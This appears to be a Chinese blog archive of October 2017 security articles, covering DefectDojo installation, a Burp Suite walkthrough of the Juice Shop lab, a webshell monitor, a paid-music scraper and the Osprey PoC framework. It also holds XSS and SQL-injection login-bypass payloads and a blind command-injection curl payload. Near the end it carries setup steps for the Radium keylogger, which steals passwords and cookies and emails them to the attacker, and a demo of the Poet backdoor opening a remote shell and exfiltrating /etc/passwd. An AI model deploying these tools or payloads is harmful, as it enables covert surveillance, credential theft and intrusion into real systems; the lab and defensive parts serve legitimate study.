月度归档:2017年10月

win7系统不能新建文件夹,右键无新建文件夹(最佳解决方案)

下面段保存为bat,或手动运行命令也可,但必须是以管理员身份运行。

regsvr32 /u /s igfxpph.dll
reg delete HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers /f
reg add HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers\new /ve /d {D969A300-E7FF-11d0-A93B-00A0C90F2719}

但这个时候一般都在资源管理器中出现新建文件夹的功能了,但有可能不能点击,点击无效。这时按 WIN+ R键调出运行窗口,输入regedit 调出注册表编辑器,找到[HKEY_LOCAL_MACHINESOFTWAREClassesFolder] 右边默认字符串值有错误,我现在的默认字符串是”资料夹”或为空值,修改成正常的字符串值是 Folder,即可。

将[HKEY_LOCAL_MACHINESOFTWAREClassesFolder]右边的默认字符串值改为 Folder

大功造成。

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

*本文原创作者:Shad0wpf_,本文属FreeBuf原创奖励计划,未经许可禁止转载

安全服务工作中,漏洞的跟踪管理,应该是让大多数安全服务人员都头疼的事。业务系统少还好,一个Excel表格就解决了,而面对数十个不同的业务系统,邮件、报告满天飞,Excel大法就行不通了,报告整理、漏洞复测确认常常让人精疲力尽。DefectDojo正是一款解决漏洞管理之痛的开源工具,DefectDojo可将各种漏洞报告(Nessus、Nmap、Burp等)汇总分析,对漏洞的确认、复测进行跟踪,建立计划扫描任务,导出报告等。

关于这款工具的更多介绍,可以看看OWASP AppSec USA 2017会议上Greg Anderson的演讲视频

项目地址

https://github.com/OWASP/django-DefectDojo

项目文档

http://defectdojo.readthedocs.io/en/latest/

DefectDojo安装

本次安装基于Ubuntu Server 16.04 LTS

安装准备

创建一个普通用户,指定home目录为/home/dojo,添加sudo权限,:

useradd -d /home/dojo -m dojo

passwd dojo #设置系统密码

vi /etc/sudoers

#添加以下一行内容:

dojo    ALL=(ALL:ALL) ALL

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

安装PostgreSQL

本次示例使用PostgreSQL数据库,安装PostgreSQL数据库,创建DefectDojo使用的账号:

#安装数据库:

apt-get install postgresql

#添加DefectDojo用户,设置密码:

su - postgres        

createuser --interactive defectdojo

psql -U postgres

alter user defectdojo with password 'P@ssw0rd';

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

安装、激活Virtualenv

以下安装切换到dojo普通权限用户。

su - dojo

cd ~

pip install virtualenv

virtualenv dojo

source dojo/bin/activate

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

安装Dojo

git clone [https://github.com/OWASP/django-DefectDojo.git](https://github.com/OWASP/django-DefectDojo.git)

cd django-DefectDojo

./setup.bash

执行安装脚本,数据库选择2,使用PostgreSQL,安装过程中需sudo切换到root权限,输入系统帐户dojo的密码。

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

到数据库部分,填写刚才创建的数据库账号信息:

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

填写DefectDojo Web管理员账号:

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

安装Uwsgi

pip install uwsgi

安装WKHTML

wkhtmltopdf用于生产PDF报告,自动安装脚本出错的话,可以手动下载安装wkhtmltopdf

在/opt/django-DefectDojo目录下执行

./reports.sh

禁用Debug,添加信任IP

开始使用时为便于排错,可不修改DEBUG选项。

使用VI编辑/opt/django-DefectDojo/dojo/settings.py,修改DEBUG值为:

`DEBUG = False`

添加本机IP到信任中,我的IP是1.1.2.12:

ALLOWED_HOSTS = [u'1.1.2.12']

启动DefectDojo

在django-DefectDojo目录下执行:启动Celery和Beats

celery -A dojo worker -l info --concurrency 3 &
celery beat -A dojo -l info &

启动Uwsgi

uwsgi --socket 127.0.0.1:8001 --wsgi-file wsgi.py --workers 7 &

安装配置Nginx

DefectDojo使用uWSGI的方式,启动后并不能直接访问,还需要配置Nginx,也可以在Nginx中添加SSL证书,配置HTTPS访问,增强安全性。这里只是简单演示,未使用HTTPS。

apt-get install nginx

删除/etc/nginx/site-enabled/etc/nginx/site-available目录下默认文件,

创建新的配置文件:

cd /etc/nginx/sites-enabled

vi defectdojo.conf

添加以下内容:

upstream django {
  server 127.0.0.1:8001;
}

server {
  listen 8888;
  server_name defectdojo;
  client_max_body_size 500m; 

  location /static/ {
      alias  /home/dojo/django-DefectDojo/static/;
  }

  location /media/ {
      alias  /home/dojo/django-DefectDojo/media/;
  }

  location / {
      uwsgi_pass django;
      include  /home/dojo/django-DefectDojo/wsgi_params;
  }
}

重启Nginx

service nginx stop && service nginx start

远程访问,主界面如下:

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

启动脚本

为方便下次启动,在dojo账号home目录下创建一个启动脚本defectdojo-start.sh,

添加以下内容:

#!/bin/bash

cd /home/dojo
source dojo/bin/activate
cd django-DefectDojo
celery -A dojo worker -l info --concurrency 3 &
celery beat -A dojo -l info &
uwsgi --socket 127.0.0.1:8001 --wsgi-file wsgi.py --workers 7 &

软件升级

使用以下命令升级:

cd django-DefectDojo
git checkout master
git pull
pip install .
./manage.py makemigrations dojo
./manage.py makemigrations
./manage.py migrate

Bower的静态文件经常会更新,建议定期重装bower,更新文件:

cd django-DefectDojo
cd components
bower install
cd ..
./manage.py collectstatic --noinput

报错处理

安装不完整时,部分文件不能正常访问,打开界面会出现这种情况:

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

查看日志,发现大量文件访问结果为404:

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

解决方法:

查看/home/dojo/django-DefectDojo/static目录下404报错文件是否存在,如不存在,再运行一次./setup。

文件存在仍报错的话,检查Nginx配置。

配置HTTPS、开机自启动

参考django-DefectDojo/sample_deployments/目录下脚本文件

*本文原创作者:Shad0wpf_,本文属FreeBuf原创奖励计划,未经许可禁止转载

利用Burp Suite对OWASP Juice Shop进行渗透测试

1. 简介

OWASP 的 在线果汁商店 (Juice Shop) 项目, 是一个很好的开源Web 靶场。它包含了OWASP的10大漏洞 [1], 并且这个项目用到了很多流行的技术如 HTML5, AngularJS, Bootstrap, Node.Js, SQLite等等,应用架构如下图所示:

利用Burp Suite对OWASP Juice Shop进行渗透测试

本文将展示如何利用著名的Web 渗透工具Burp Suite 来进行渗透测试。 Burp Suite的Web渗透功能异常强大,但也不乏一些槽点:

易用性不是很好,初学者经常一头雾水,甚至开始连页面都无法正常加载。

可用性有待改善,代理需要手工配置,这个比起Fiddler的代理自动设置就逊色多了。

默认字体太小了,不修改默认字体大小估计非得上放大镜了。

尽管有以上种种不足,鉴于其强大的功能,暂且先凑合着吧。

个人认为,学习Burp Suite最好的方法就是用其来对靶场进行渗透测试(这里提醒一下,请勿在未授权情况下对Internet上的服务器进行渗透测试)。下面将通过具体的渗透步骤来讲解Burp Suite的方法,比如 Intruder模块。

2. 实验环境

本实验中利用了Ubuntu 16.04 LTS 作为测试环境。环境搭建布骤如下:

1. 安装 Docker, 如下一条命令即可

sudo apt-get installdocker-engine

2. 安装 Juice Shop 靶场应用

Juicy Shop 的源代码托管在github上:

https://github.com/bkimminich/juice-shop

最方便的方式是采用Docker安装

首先把镜像端到本地来:

docker pull bkimminich/juice-shop

然后进行部署

docker run -d -p 3000:3000bkimminich/juice-shop

打开浏览器http://localhost:3000 , 如果到如下页面,则表示Juice Shop部署成功。

利用Burp Suite对OWASP Juice Shop进行渗透测试

3. 安装 Burp Suite本文需要用到Professional 版本。可以从

https://portswigger.net/burp

申请一个试用版。

3. 渗透测试

3.1 注册一个测试用户

点击Login,然后点击”Not yet a customer”

利用Burp Suite对OWASP Juice Shop进行渗透测试

注册完成后,登录进该用户即可。

另外Juice Shop 隐藏了一个评分系统的链接

http://localhost:3000/#/score-board

每次完成任务后,Web界面上都会收到提示信息。另外,评分系统中也会更新状态。

3.2XSS 攻击

3.2.1 反射型XSS攻击 难度指数 ★

我们首先看一下反射性XSS攻击这道题

Performa reflected XSS attack with<script>alert("XSS1")</script>.

这道题很简单,在搜索框中直接输入

<script>alert("XSS1")</script>

利用Burp Suite对OWASP Juice Shop进行渗透测试

就直接弹出了对话框,过关!

3.2.2 持续型XSS攻击 难度指数 ★★★

接着我们来试试持续型XSS攻击这道题。

这道题需要成功生成一个存储型的<script>alert(“XSS2″)</script> XSS攻击。

这道题则需要费些心思了。在何处产生存储呢。我们回想起在注册用户的时侯,

注册信息因该是存储下来的。我们再次访问注册页面,并将Proxy的 Intercept 设置成ON以便截获注册时发送的信息。如下图所示。

利用Burp Suite对OWASP Juice Shop进行渗透测试

这是我们将email地址篡改成 XSS 攻击

<script>alert(/”XSS2/”)</script>

利用Burp Suite对OWASP Juice Shop进行渗透测试

后转发出去,我们就可以看到来自 Juice Shop的首肯。

利用Burp Suite对OWASP Juice Shop进行渗透测试

过关。

3.3 SQL 注入攻击难度指数 ★★

既然是Web 靶场,SQL 注入攻击时必不可少的一环。

SQL注入这道题要求我们以SQL注入的方法登录管理员帐户。

首先我们先在登录页面进行登录,来截取HTTP报文(登录时,不一定需要正确的用户密码名)。截获的HTTP 报文如下图所示。

利用Burp Suite对OWASP Juice Shop进行渗透测试

在看一下服务器返回的信息。

利用Burp Suite对OWASP Juice Shop进行渗透测试

服务器返回信息中,包含了一个字符串”Invalid email or password”。很明显,这表明登录不成功。下面则是SQL 注入的重点了。右键点击请求,选择 “Send toIntruder”,将该条记录发送到”Intruder” 模块进行自动化测试。然后点击 “Intruder”标签页进入 Intruder模块。然后点击”Positions” 子标签页。

可以看到如下界面

利用Burp Suite对OWASP Juice Shop进行渗透测试

这里事实上就是定义自动化测试时对那些变量进行替换。我们这里仅对email变量进行攻击测试。配置如下

1. 点击 Clear 按钮。

2. 鼠标移到test@freebuf.com上点击”Add” 按钮。

然后单击Payload子标签页。这里可以定义如何对变量进行替换。通常是采用字典(wordlist)来

进行替换。Burp Suite 本身似乎并未提供一个现成的字典,幸好Fuzzdb 开源项目提供了一个很好的字典,包含了各种攻击可能用到的字典。可以采用如下git命令将其克隆到本地:

git clone https://github.com/fuzzdb-project/fuzzdb

克隆完成后,点击Load来加载 wordlist, 这里可以加载fuzzdb中/attack/sql-injection/detect/xplatform.txt 定义的wordlist。

需要注意的一点是,一定要将”URL-encode these characters” 前面的勾去掉,即不对特殊字符做编码。最后设置如下图所示,注意红框标注的地方。

利用Burp Suite对OWASP Juice Shop进行渗透测试

配置完成后,点击右上角的”Start Attack”按钮开始攻击。数十秒后,攻击完成。

查看结果页面,有些SQL注入攻击失败了,有些成功了。一个最简单的筛选办法就是查看Status列,一般成功的会返回200.

利用Burp Suite对OWASP Juice Shop进行渗透测试

相应的攻击向量为

{"email":"' or1=1--","password":"123456"}

攻击成功后可以再次看到来自Juice Shop的首肯。

利用Burp Suite对OWASP Juice Shop进行渗透测试

4. 小结

Juicy Shop 是一个包含了数十种漏洞的Web靶场其架构设计非常有代表性。用来练习 Web 渗透和熟悉Burp Suite的使用再合适不过了。本文介绍了如何利用Burp Suite 提供的功能组件特别是Intruder模块来进行攻击。读者如果能够根据本文提供的例子,举一反三的操作一定很快能熟悉如何利用BurpSuite 来进行Web 渗透然而要想在Web渗透上达到一定的造诣,除了需要深入钻研HTTP协议Web 应用的常见架构外,还需要练就天马行空般的黑客思维。

*本文作者:兰云科技银河实验室,转载请注明来自 FreeBuf.COM

国产网站恶意代码监测(网马监控)工具优化版

好久没写东西了,十九大要召开了,忙坏了我们这群做安全的小屌丝们~国庆也没放假,哎~说正题吧,很久之前发过一次这个工具,只不过有很多问题,监控效率也不高,这次优化了下。

新版本:

①提升了监控到网马后的处理速度,优化了高频率上传的处理速度,10文件同时上传,1秒内处理完毕。

②增加了简易的日志功能(为什么说是简易呢,看后面图片就知道了)

③增加了一批样本,新增加了挺多样本的(懒得数了,反正挺多的)

④优化了关闭或使用ALT+F4时,程序会自动最小化到任务栏,避免误操作关闭该软件;

⑤新增加了敏感关键字检测,当监测到页面出现敏感关键字时,会将页面进行隔离处理,确保敏感页面不对外展示;

https://github.com/wstart/webshell

https://github.com/ysrc/webshell-sample

不算之前收录的内容,上述链接中所涉及的样本,收录了90%,还有一部分PHP的未收录,我找时间看吧,还未验证是否能监控到。

昨天增加了中文敏感词汇的特征,我的软件不可能涵盖所有的webshell特征,这个是肯定的,我也不敢吹这个牛,增加中文敏感词汇的意义,是在于如果有webshell未被检测到,至少页面不会被改成这样涉及敏感问题的页面,毕竟服务器被破坏了,也比被弄成乱七八糟的页面要好的多,政治错误,你懂的。

今天又对软件进行了创建、修改、删除、重命名4种操作方式的压力测试,写了个批处理文件,循环进行操作,模拟大量写入和操作的过程,来测试软件的压力,调整了一天代码,总算是完工了。

先贴出涉及敏感词汇的特征吧~~~只添加了一些,慢慢增加吧。

国产网站恶意代码监测(网马监控)工具优化版

其实我还很小,我根本不懂上面的词是什么意思(手动捂脸~~~)

功能说明截图:

国产网站恶意代码监测(网马监控)工具优化版

国产网站恶意代码监测(网马监控)工具优化版

软件开始执行时是这个样子的

国产网站恶意代码监测(网马监控)工具优化版

隔离区放在了C:/temp/geliqu目录下

日志存储在c:/temp目录下

一目了然。

国产网站恶意代码监测(网马监控)工具优化版

使用演示视频:

这就是我说的简易日志的原因了,因为真的很简易,其实想弄报表的,但是最近忙的要死,都是加完班以后,半夜扣1个小时代码

同事们也反应了下,UI界面实在丑的令人扎心,我看着也扎心,等有时间给它整整容吧,先看实用性吧,东西好用了,丑不丑也就无所谓了,对吧?

链接: https://pan.baidu.com/s/1o84zD7G 密码: hs2w

欢迎大家测试,有监控不到的webshell或者bug问题,欢迎站内信反馈!

等忙完这段时间,把Python版的给大家发出来。(反正python版的主要用在非windows平台,丑不丑你们也看不出来。)

*本文作者:鬼魅羊羔,转载请注明来自 FreeBuf.COM

简易Python Selenium爬虫实现歌曲免费下载

*本文作者:GreyyHawk;本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

最近发现越来越多的歌曲下载都需要缴费了,对维护正版是好事。但有的时候也想钻个空子,正好最近在学习python,随手写了一个建议爬虫,用来爬取某播放软件的在线音乐。

(本文仅代表作者观点, 思路与技术供参考、探讨,FreeBuf 依然鼓励维护正版。)

主要思路就是爬取播放页里的播放源文件的url,程序可以读取用户输入并返回歌单,,,因为在线网站包含大量js,requests就显得很无奈,又懒得手动解析js,于是寄出selenium大杀器。

selnium是一款很强大的浏览器自动化测试框架,直接运行在浏览器端,模拟用户操作,目前selenium支持包括IE,Firefox,Chrome等主流浏览器及PhantomJS之类的无头浏览器,selenium+phantomjs也是现在很火的一个爬虫框架。

代码不长,做的有些简陋,以后可以加个GUI。。。。

步骤一:

进入酷狗主页,F12查看元素,,通过selenium.webdriver的send_keys()方法给send_input类传参,即用作用户的输入,然后通webdriver.click()方法点击搜索按钮,得到搜索结果列表。这里会有一个js重定向,通过webdriver.current_ur就可以了,,切记一点!传入的参数需要经过unicode编码(.decode(‘gb18030′))效果一样),否则如果有中文会乱码。。(来自被深深困扰的我)

简易Python Selenium爬虫实现歌曲免费下载

步骤二:

查看元素里每首歌的路径,发现每首歌的路径只有<li>不同,于是通过对li的迭代来获取每一首歌的xpath,并输出歌曲名字的元素,然后依旧通过webdriver的click()方法点击歌曲链接,得到歌曲播放页面,这里没有什么难点,都是常规操作。需要注意的是,这里的歌曲链接也包含一个js的重定向,但不一样的是浏览器会打开一个新的页面(至少火狐会),可以在click()方法后通过webdriver.switch_to_window()方法跳转到新打开的页面

简易Python Selenium爬虫实现歌曲免费下载

步骤三:

进入播放页面后通过xpath找到播放源文件链接(强推firepath,xpath神器啊)但发现这里依然有一个js渲染,来生成播放源链接,直接提取<src>标签会显示为空,于是继续webdriver,调用的浏览器会自动解析js脚本,解析完成后提取<src>得到歌曲链接,使用urllib的urlretrueve()下载即可

简易Python Selenium爬虫实现歌曲免费下载

代码如下:

#coding=utf-8
from selenium.webdriver.remote.webelement import WebElement
from selenium import webdriver
from selenium.webdriver import ActionChains
from selenium.common.exceptions import NoSuchElementException
from selenium.common.exceptions import StaleElementReferenceException
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.common.by import By
import time
import urllib

#歌曲名
mname = ''

#JS重定向
def wait(driver):
    elem = driver.find_element_by_tag_name('html')
    count = 0
    while True:
        count += 1
        if count > 20:
            print('chao shi le')
            return
        time.sleep(.5)
        try:
            elem == driver.find_element_by_tag_name('html')
        except StaleElementReferenceException:
            return

#获取url
def geturl():
    input_string = raw_input('>>>please input the search key:')
    driver = webdriver.Chrome()
    url = 'http://www.kugou.com/'
    driver.get(url)
    a=driver.find_element_by_xpath('html/body/div[1]/div[1]/div[1]/div[1]/input') #输入搜索内容
    a.send_keys(input_string.decode('gb18030'))
    driver.find_element_by_xpath('html/body/div[1]/div[1]/div[1]/div[1]/div/i').click() #点击搜索
    result_url = driver.current_url
    driver.quit()
    return result_url


#显示搜索结果
def show_results(url):
    driver = webdriver.Chrome()
    driver.get(url)
    time.sleep(3)
    for i in range(1,1000):
        try:
            print '%d. '%i + driver.find_element_by_xpath(".//*[@id='search_song']/div[2]/ul[2]/li[%d]/div[1]/a"%i).get_attribute('title')  #获取歌曲名
        except NoSuchElementException as msg:
            break
    choice = input(">>>Which one do you want(you can input 'quit' to goback(带引号)):")
    if choice == 'quit':   #从下载界面退回
        result = 'quit'
    else:
        global mname
        mname = driver.find_element_by_xpath(".//*[@id='search_song']/div[2]/ul[2]/li[%d]/div[1]/a"%choice).get_attribute('title')
        a = driver.find_element_by_xpath(".//*[@id='search_song']/div[2]/ul[2]/li[%d]/div[1]/a"%choice)
        actions = ActionChains(driver)
        actions.move_to_element(a)
        actions.click(a)
        actions.perform()
        #wait(driver)
        driver.switch_to_window(driver.window_handles[1])  #跳转到新打开的页面
        result = driver.find_element_by_xpath(".//*[@id='myAudio']").get_attribute('src') #获取播放元文件url
        driver.quit()
    return result


#下载回调
def cbk(a, b, c):
    per = 100.0 * a * b / c  
    if per > 100:
        per = 100
    print '%.2f%%' % per
    

def main():
    print'***********************欢迎使用GREY音乐下载器********************************'
    print'                                                      directed by GreyyHawk'
    print'**************************************************************************'
    time.sleep(1)
    while True:
        url = geturl()
        result = show_results(url)
        if result == 'quit':
            print'/n'
            continue
        else:
            local = 'd://%s.mp3'%mname
            print 'download start'
            time.sleep(1)
            urllib.urlretrieve(result, local, cbk)
            print 'finish downloading %s.mp3'%mname + '/n/n'



if __name__ == '__main__':
  main()                         
     

效果:

简易Python Selenium爬虫实现歌曲免费下载

总结:

当网页包含大量js的时候,selenium就会非常的方便,但经过实践发现好像phantomjs解析js的效率没有世纪浏览器的高,还会出错,后来换成调用火狐就好了,,不知道为啥,,也许是脸黑吧,,总之selenium真的是一款非常强大的框架,对爬虫有兴趣的同学一定要了解一下。

*本文作者:GreyyHawk;本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

网藤正式开源漏洞检测框架Osprey「鱼鹰」

网藤正式开源漏洞检测框架Osprey「鱼鹰」

2017年9月23日, FreeTalk 2017深圳站在深圳市洛客邦德馆成功举办。此次活动聚集了500多名业界顶级的安全技术人员,来自斗象科技能力中心(Tophant Competence Center,简称TCC)的Cody在会上分享了议题《深入CRS漏洞检测框架——Osprey(鱼鹰)》,并籍此正式开源该框架工具,受到与会人员的关注。

「Osprey」是TCC研发的一款开源漏洞检测框架,应用在斗象科技旗下产品网藤CRS(www.riskivy.com/product/crs),并已同步到Github开源社区。

漏洞的生命周期

当一个新的漏洞被批漏出来,安全技术人员、研究人员会对漏洞原理进行剖析研究,然后输出对该漏洞的检测脚本(以下简称PoC)。随后,利用输出的PoC对客户或自有的产品、服务器等进行漏洞检测,最后提出对漏洞的修补建议。在整个漏洞生命周期中,最受关注的一点就是「PoC的输出」。

Osprey for what ?

•    快速漏洞检测

•    拒绝重复性工作,实现自动化

•    规范PoC编写,快速输出PoC

•    安全能力的积累与输出——开源

Osprey for who ?

•    白帽子、渗透测试人员、运维人员、安全专家……

•    企业用户

How to use Osprey ?

•    命令行与交互式Console:快速检测漏洞,输出结果

•    Web API接口:构建自己的漏洞扫描器

大家可能会有这样的疑问:目前安全圈内已经有一些开源可用的 PoC 框架,为什么TCC还要再造一套呢?

Cody 在分享中表示,Osprey 在今日的开源,也是源自于长久的积累。安全团队应该都会有自己定制的一些小工具,便于平时的工作使用,Osprey 也是如此。最初,它只是作为团队内部人员自己开发使用的一个PoC 检测小工具,随着需求以及使用场景的复杂化,Osprey 也逐渐的迭代升级,演化到今天,成为一个稳定、强大的框架工具。

在此基础上,TCC 也希望将自己积累的能力通过开源的方式传递给安全圈和其他人,就像 FreeBuf 和漏洞盒子一样,秉承自由与分享的精神相互交流。

当然,Osprey 与其他PoC 框架也有差异。

命令行与 Web API 接口使 Osprey 的集成与调用更灵活多样,使用者可以简单的用 Osprey 作为PoC 工具检测漏洞,也可以利用它来定制开发自己的漏洞检测扫描器。另外,搭配 dnspot 组件,Osprey 还可以更全面的捕捉漏洞。

而我们将其命名为鱼鹰,也是希望它能够像鱼鹰捕获猎物一样,快、精、准、狠。

命令行+Web API接口

以 Flask 为轻量级 Web API 接口,以 Celery 和 RabbitMQ 作为队列的任务调度和管理,以多进程和协程结合的执行方式作为 Worker 消费任务,以 MongoDB 存储任务执行结果的分布式漏洞检测框架。

网藤正式开源漏洞检测框架Osprey「鱼鹰」

技术架构图,网藤CRS为例

除此之外,在日常工作中也会碰到漏洞无回显,PoC 写不了的问题,比如后台 XSS 盲打、命令注入、SSRF……有payload 也不知道如何写PoC。TCC对此也提出了自己的解决方案。

Osprey + dnspot = 漏洞无所遁形

意即:

利用DNS域名和解析做无回显漏洞的盲检测,将带有特定标识的域名作为payload的一部分(如在命令注入漏洞的检测中,使用“curlhttp://1234567abcdefg.blind.vulbox.com/作为PoC的payload),当在你的名称服务器上收到对该域名的解析请求时,说明漏洞被触发了。

dnspot

TCC的另一个开源项目,它实现了一个DNS解析和记录服务器。

实现方式:一个域名 + 一台公网服务器 + 将该域名的Name Server配置为该台服务器 + 部署dnspot于服务器上 

通过Osprey.utils提供的接口,可以非常方便的联动dnspot,在PoC中简单的通过方法调用就能实现无回显漏洞的盲检测。

网藤正式开源漏洞检测框架Osprey「鱼鹰」

Osprey + dnspot架构图

dnspot是Osprey针对盲检测漏洞打造的利器,相关代码以及与Osprey的联动也将会在近期开源到Github中,敬请期待。

项目地址:https://github.com/TophantTechnology/Osprey

关于TCC

TCC——斗象能力中心(Tophant Competence Center)成立于2017年4月,是为斗象科技的产品以及客户提供前沿安全技术的研究与能力支撑的团队。

专注于以下安全领域:

• Web安全研究,0 Day挖掘,技术分享

• 突发事件,应急响应技术支持

• IoT智能硬件,包含固件安全、逆向分析、无线协议、智能APP等安全研究

• 机器学习,突破现有技术的不足,提升安全能力

• 企业级安全产品的安全研究和研发。


AI安全系列公开课,是「AI安全嘉年华」的系列活动之一。我们邀请国际AI信息安全研究领域知名学者、国内AI信息安全创新企业负责人、全球首个关注智能生活的安全极客大赛GeekPwn技术总监、国内顶尖信息安全实验室keen创始人等行业大咖,带来五节免费AI安全公开课。  来和我们一起学习,了解人工智能在信息安全领域最前沿的研究和应用,探讨AI 信息安全的无尽可能。

继由德国弗劳恩霍夫研究中心的肖煌博士带来的第一节免费AI安全公开课后,11月8日,我们请来了斗象科技美女产品经理——吴婷,带来主题为《智能引力——突破安全视界》的分享。

AI安全系列公开课第二节

网藤正式开源漏洞检测框架Osprey「鱼鹰」

本期讲师

吴婷

前腾讯高级产品经理,RSVP高级经理、大数据分析专家,斗象科技网藤产品负责人。

分享内容

本次,吴婷将带来主题为《智能引力-突破安全视界》的分享,内容包括但不仅限于以下几点:

1、攻防升级-从传统到智能

2、 智能体系下的智能安全

3、 智能安全场景下的SVA

4、 基于机器学习的安全检测

公开课信息:

公开课时间:11月8日(周三)20:00

公开课地址:FreeBuf公开课

参与方式:

转发本条消息至朋友圈,并将截图发送给公开课小助手微信:fbgkk2017 ,小助手将邀请您加入公开课交流群(已经入群的请记得关注群消息)

( * 担心错过公开课的同学可点击下方文字链接,留下联系方式,当天我们将短信提醒大家。)

网藤正式开源漏洞检测框架Osprey「鱼鹰」

AI安全系列公开课报名

多功能Python键盘记录工具:Radium

多功能Python键盘记录工具:Radium

所谓键盘记录,通常指的是记录下用户在键盘上所进行的按键操作,即记录下用户按过哪些键。这种键盘记录活动一般都是在后台悄悄进行的,所以使用键盘的用户通常并不会意识到自己的打字操作受到了非法监控。除此之外,攻击者还可以利用键盘记录来了解目标用户使用计算机的习惯。

今天给大家介绍的就是一款拥有多种功能的键盘记录工具-Radium,该工具采用Python语言编写,它拥有如下所示的多种功能:

-应用程序以及键盘记录

-截图记录

-通过邮件发送键盘记录

-恢复密码,适用于Chrome、Mozilla、Filezilla、Core FTP、CyberDuck、FTPNavigator、WinSCP、Outlook、Putty和Skype等等

-Cookie窃取

-自动更新功能

-收集系统信息,包括内部/外部IP地址、Ipconfig及/all输出和平台版本。

工具下载

Radium:【GitHub主页

依赖组件

1.      PyHook

2.      PyWin32

3.      MicrosoftVisual C++ Compiler for Python

4.      PyInstaller

工具使用

-下载依赖库

-设置Gmail邮箱用户名及密码,将Gmail的安全设置级别降至最低来允许所有的连接;

-设置FTP服务器,包括IP、用户名和密码,以及需要存储新版本Radium的目录;

-记得对密码使用base64编码进行处理;

-在copytostartup()中设置originalfilename变量,即exe文件的名称;

-使用Pyinstaller制作exe文件;

-在记录下300次(可修改)用户击键操作之后会自动通过邮件向攻击者发送键盘记录;

-在记录下500次(可修改)用户击键操作之后会自动进行屏幕截图;

-请记住,当你将Radium转换成exe格式之后,要修改copytostartup()函数中的originalfilename和coppiedfilename变量。

工具截图

多功能Python键盘记录工具:Radium

待增加的功能

1.      持久化感染

2.      定时进行屏幕截图

3.      摄像头偷拍

4.      窃取Skype聊天记录

5.      收集凭证

使用教程视频:

看不到?点这里

* 参考来源:n0where, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

Poet:一款功能强大的后渗透工具

Poet:一款功能强大的后渗透工具

概述

客户端程序需要运行在目标系统中,并且需要配置一个IP地址以及频率来与服务器连接。如果当客户端尝试与服务器连接时服务器不在线的话,客户端会处于静默睡眠状态,并等待下一次时间间隔来尝试连接。如果服务器处于运行状态的话,攻击者就能够拿到shell,然后控制客户端并在目标主机中执行各种操作,例如:

1.      网络侦察;

2.      远程shell;

3.      文件提取;

4.      下载并执行Payload;

5.      程序自毁

工具下载

Poet:【GitHub主页

请访问该项目GitHub的releases页面,并下载最新版本的poet-client以及poet-server文件,或者你也可以按照下面的方法自己构建Poet项目。

构建代码

请确保你已经安装好了python 2.7以及zip可执行程序,然后运行下列命令:

$ git clonehttps://github.com/mossberg/poet
$ cd poet
$ make

运行之后将会在你的计算机中创建一个包含了poet-client和poet-server的bin/目录。

工具使用

Poet是一款使用起来非常简单的工具,它只需要Python2.7标准库即可运行。下面给出的是简单的使用样例:

终端1:

$ ./client.py -v 127.0.0.1 1

终端2:

$ sudo ./server.py

注意:默认配置下,服务器端需要以root权限(使用sudo命令)运行,因为工具默认绑定的端口为443。当然了,你也可以使用-p <PORT>命令来修改客户端和服务器端所使用的端口,建议选用大于1024的端口。

除此之外,你可以使用-h选项来查看帮助菜单:

客户端:

$ ./client.py -h
usage: client.py [-h] [-p PORT] [-v] [-d]IP INTERVAL
 
positional arguments:
 IP                    server
 INTERVAL              (s)
 
optional arguments:
  -h,--help            show this help messageand exit
  -pPORT, --port PORT
  -v,--verbose
  -d,--delete          delete client uponexecution

服务器端:

$ ./server.py -h
usage: server.py [-h] [-p PORT]
 
optional arguments:
  -h,--help            show this help messageand exit
  -pPORT, --port PORT

配置参考

common/config.py文件中包含多种配置选项:

1.      AUTH:秘密认证令牌需要在客户端与服务器端之间共享以完成客户端的身份认证,,预编译的数据包使用的是默认的公开认证令牌,建议用户自己设置一个复杂的令牌以保证通信的安全。

2.      ARCHIVE_DIR:服务器端用于存储文件(输出数据或提取的文件)的目录。

3.      SERVER_IP:服务器端的IP地址。

4.      BEACON_INTERVAL:客户端信标到达服务器端的时间间隔(秒)。

Poet使用演示

在下面这个攻击场景中,攻击者已经拿到了目标主机的访问权,并在目标系统中下载执行了客户端程序。此时,攻击者的服务器端并没有运行,但是没关系,客户端会耐心等待。最终,攻击者开启了服务器端,他首先开启了一个shell并执行了命令uname -a,然后提取出了/etc/passwd。接下来,他断开了与客户端程序的连接,而客户端将会继续在目标主机的后台中运行并等待下一次与服务器端的连接。

目标设备(5.4.3.2):

$ ./client.py -v 1.2.3.4 10
[+] Poet started with delay of 10 secondsto port 443. Ctrl-c to exit.
[!] (2014-09-06 02:07:03.058921) Server isinactive
[!] (2014-09-06 02:07:13.060840) Server isinactive
[!] (2014-09-06 02:07:23.062512) Server isinactive
[!] (2014-09-06 02:07:33.064214) Server isinactive
[+] (2014-09-06 02:07:43.066828) Server isactive
[!] (2014-09-06 02:08:50.403668) Server isinactive
[!] (2014-09-06 02:09:00.405364) Server isinactive

攻击者的设备(1.2.3.4)

# ./server.py
[+] Poet server started on 443.
[i] (2014-09-06 02:07:43.066092) ConnectedBy: ('5.4.3.2', 62209)
[+] (2014-09-06 02:07:43.066531) Enteringcontrol shell
Welcome to psh, the poet shell!
Running `help' will give you a list ofsupported commands.
psh > shell
psh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic#42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64GNU/Linux
psh > user@server $ ^D
psh > exfil /etc/passwd
psh : exfil written toarchive/20140906/exfil/passwd
psh > help
Commands:
 chint
 dlexec
 exec
 exfil
 exit
 help
 recon
 selfdestruct
 shell
psh > exit
[+] (2014-09-06 02:08:40.401181) Exitingcontrol shell.
[-] (2014-09-06 02:08:40.401328) Poetterminated.

* 参考来源:n0where, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

